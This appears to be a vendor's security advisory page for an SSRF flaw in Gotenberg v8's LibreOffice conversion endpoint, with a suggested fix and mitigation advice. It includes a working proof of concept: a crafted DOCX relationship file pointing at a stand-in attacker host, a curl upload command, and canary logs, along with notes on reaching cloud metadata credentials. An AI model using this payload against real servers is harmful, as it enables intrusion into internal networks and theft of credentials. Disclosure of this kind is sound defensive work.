GHSA-rm4c-xj6x-49mw — v8
HIGHGHSA-rm4c-xj6x-49mw is a high-severity (CVSS 8.2) Server-Side Request Forgery (SSRF) vulnerability in github.com/gotenberg/gotenberg/v8. No vendor fix is recorded yet; mitigation options are listed below.
Gotenberg has a Server-Side Request Forgery (SSRF) Issue
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-rm4c-xj6x-49mw.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-rm4c-xj6x-49mw plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/gotenberg/gotenberg/v8Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The SSRF hardening shipped in v8.31.0 only covers outbound URLs that Gotenberg's Go code handles — Chromium asset fetches, webhook delivery, and download-from. The LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters.
This was verified on v8.31.0 (latest at time of writing) with a crafted DOCX and got 3 outbound HTTP requests from LibreOffice to the canary server used for testing.
Details
When a file is uploaded to /forms/libreoffice/convert, the route in pkg/modules/libreoffice/routes.go reads form parameters and passes the input file directly to libreOffice.Pdf():
err = libreOffice.Pdf(ctx, ctx.Log(), inputPath, outputPaths[i], options)
There's no content inspection happening before the file reaches LibreOffice. The SSRF protection in v8.31.0 (pkg/gotenberg/outbound.go) wraps Go's http.Client with a custom dialer that resolves URLs and rejects non-public IPs — but LibreOffice is a separate process that makes its own HTTP connections via libcurl. The Go-level dial hooks can't intercept that.
OOXML formats like DOCX can embed external image references using TargetMode="External" in relationship files. LibreOffice fetches those URLs during PDF conversion.
Suggested fix: Run LibreOffice with unshare --net to drop all network access from the subprocess — no network namespace means no outbound requests regardless of file format. As defense in depth, scan uploaded OOXML files (which are ZIPs) for _rels/*.rels entries with TargetMode="External" and validate/strip those URLs before passing the file to LibreOffice.
PoC
Build a minimal DOCX with an external image reference. DOCX files are ZIP archives, so you can construct one by hand.
word/_rels/document.xml.rels:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId10"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="http://ATTACKER:9877/ssrf"
TargetMode="External"/>
</Relationships>
word/document.xml (references the external image via r:link):
<w:drawing>
<wp:inline distT="0" distB="0" distL="0" distR="0">
<wp:extent cx="914400" cy="914400"/>
<wp:docPr id="1" name="Picture 1"/>
<a:graphic>
<a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
<pic:pic>
<pic:nvPicPr>
<pic:cNvPr id="1" name="ssrf.png"/>
<pic:cNvPicPr/>
</pic:nvPicPr>
<pic:blipFill>
<a:blip r:link="rId10"/>
<a:stretch><a:fillRect/></a:stretch>
</pic:blipFill>
<pic:spPr>
<a:xfrm>
<a:off x="0" y="0"/>
<a:ext cx="914400" cy="914400"/>
</a:xfrm>
<a:prstGeom prst="rect"><a:avLst/></a:prstGeom>
</pic:spPr>
</pic:pic>
</a:graphicData>
</a:graphic>
</wp:inline>
</w:drawing>
Pack into a valid DOCX zip and send:
curl -s -o output.pdf \
http://TARGET:3000/forms/libreoffice/convert \
--form files=@ssrf_test.docx
Canary server immediately shows LibreOffice reaching out:
OPTIONS /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
GET /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
3 requests total (OPTIONS + 2x GET) from a single conversion. Tested against gotenberg/gotenberg:8.31.0.
Impact
LibreOffice makes full GET requests, so response data can be exfiltrated through the generated PDF:
- Hit internal services — localhost, 10.x, 192.168.x, whatever the container can reach
- Grab cloud metadata at
http://169.254.169.254/(AWS/GCP/Azure IAM creds) - Port scan the internal network via response timing
- The v8.31.0 SSRF hardening doesn't help here at all — it only covers Go HTTP calls, not LibreOffice's own connections
Anything LibreOffice opens that can carry external refs is affected: .docx, .docm, .xlsx, .xlsm, .pptx, .pptm, .odt, .ods, .odp, .rtf.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gotenberg/gotenberg/v8 | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/gotenberg/gotenberg/v8 has shipped for GHSA-rm4c-xj6x-49mw yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-rm4c-xj6x-49mw can be triaged on real exposure rather than presence alone.
Tailored to GHSA-rm4c-xj6x-49mw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rm4c-xj6x-49mw in your dependencies?
O3 Security finds GHSA-rm4c-xj6x-49mw across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.